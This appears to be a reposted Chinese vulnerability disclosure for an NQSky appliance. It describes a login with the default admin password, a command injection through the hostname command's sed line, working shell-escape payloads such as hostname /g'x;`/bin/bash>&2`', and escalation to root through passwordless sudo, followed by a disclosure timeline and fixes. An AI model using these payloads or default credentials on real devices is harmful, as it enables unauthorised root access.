神刀安全网

漏洞标题: NQSky 某设备命令注入可直接获取系统 root 权限(绕过shell沙箱环境)

漏洞详情

披露状态:

2016-03-10: 细节已通知厂商并且等待厂商处理中
2016-03-14: 厂商已经确认,细节仅向厂商公开
2016-03-17: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-05-08: 细节向核心白帽子及相关领域专家公开
2016-05-18: 细节向普通白帽子公开
2016-05-28: 细节向实习白帽子公开
2016-06-12: 细节向公众公开

简要描述:

该型号设备存在漏洞可以直接获取系统 root 权限

详细说明:

唐朝实验室研究员在使用唐朝巡航产品的时候,相关插件发现某 IP 存在 SSH 弱口令,深入研究之下真是别有洞天。

漏洞标题:  NQSky 某设备命令注入可直接获取系统 root 权限(绕过shell沙箱环境)

该 IP 使用的设备为 NQSky 旗下某通用设备,在互联网上可找到大量使用该设备的 IP,摘取部分如下

ssh admin@**.**.**.**

ssh admin@**.**.**.**

ssh admin@**.**.**.**

……

大部分设备使用默认管理密码:admin,登陆到设备后得到一个定制化的 shell,如下图:

漏洞标题:  NQSky 某设备命令注入可直接获取系统 root 权限(绕过shell沙箱环境)

该 shell 下无法直接执行系统命令。

测试执行 hostname 命令爆出如下错误提示:

code 区域
localhost.localdomain> hostname id
fqdn=id
you must be root to change the host name
fqdn=id,cmd=sed 's/^HOSTNAME.*/HOSTNAME=id/' /etc/sysconfig/network > / tmp/mynetwork && mv -f /tmp/mynetwork /etc/sysconfig/network && service network restart
mv: 无法将"/tmp/mynetwork" 移动至"/etc/sysconfig/network": 权限不够

通过上面的错误调试,可知道 id 字符串被带入到一条命令中,如果程序对输入的字符串没有进行过滤等处理,我们理论上可以对该命令进行注入,从而执行任意系统命令。

通过看上面提示我们有两个关键点:

1. 由于 id 被放在单引号之间,所以无法直接通过反引号来执行命令,所以我们需要先闭合单引号;

2. 又由于 id 是放到 sed 处理逻辑里面,所以我们还要符合 sed 的语法;

我们构造下面的命令

code 区域
hostname /g'x;`/bin/bash`'

成功跳出当前的 shell,获取到一个正常的 bash shell,但是没有回显。仔细研究一下发现是因为我们的 /bin/bash 是放在 “ 符号中执行的,在这个符号内的命令会把标准错误信息输出到控制台,我们把 /bin/bash 的标准输出重定向到标准错误里面应该就可以得到回显内容

code 区域
hostname /g'x;`/bin/bash>&2`'

通过 >&2 把 bash 的 stdout 输出到 stderr 中之后,能够获取到一个有回显的 bash shell.

其实下面两种方式也可以得到一个有回显的 bash shell

code 区域
hostname /g'x;/bin/bash;'
hostname /g'x;/bin/bash;#

whatever, we got a real shell.

漏洞标题:  NQSky 某设备命令注入可直接获取系统 root 权限(绕过shell沙箱环境)

测试该帐号拥有 sudo 免密码权限,可直接提升到 root 权限。

漏洞标题:  NQSky 某设备命令注入可直接获取系统 root 权限(绕过shell沙箱环境)

漏洞证明:

漏洞标题:  NQSky 某设备命令注入可直接获取系统 root 权限(绕过shell沙箱环境)

漏洞标题:  NQSky 某设备命令注入可直接获取系统 root 权限(绕过shell沙箱环境)

修复方案:

1. 修复弱口令漏洞;

2. 修复命令注入漏洞;

版权声明:转载请注明来源 唐朝实验室@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: NQSky 某设备命令注入可直接获取系统 root 权限(绕过shell沙箱环境)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址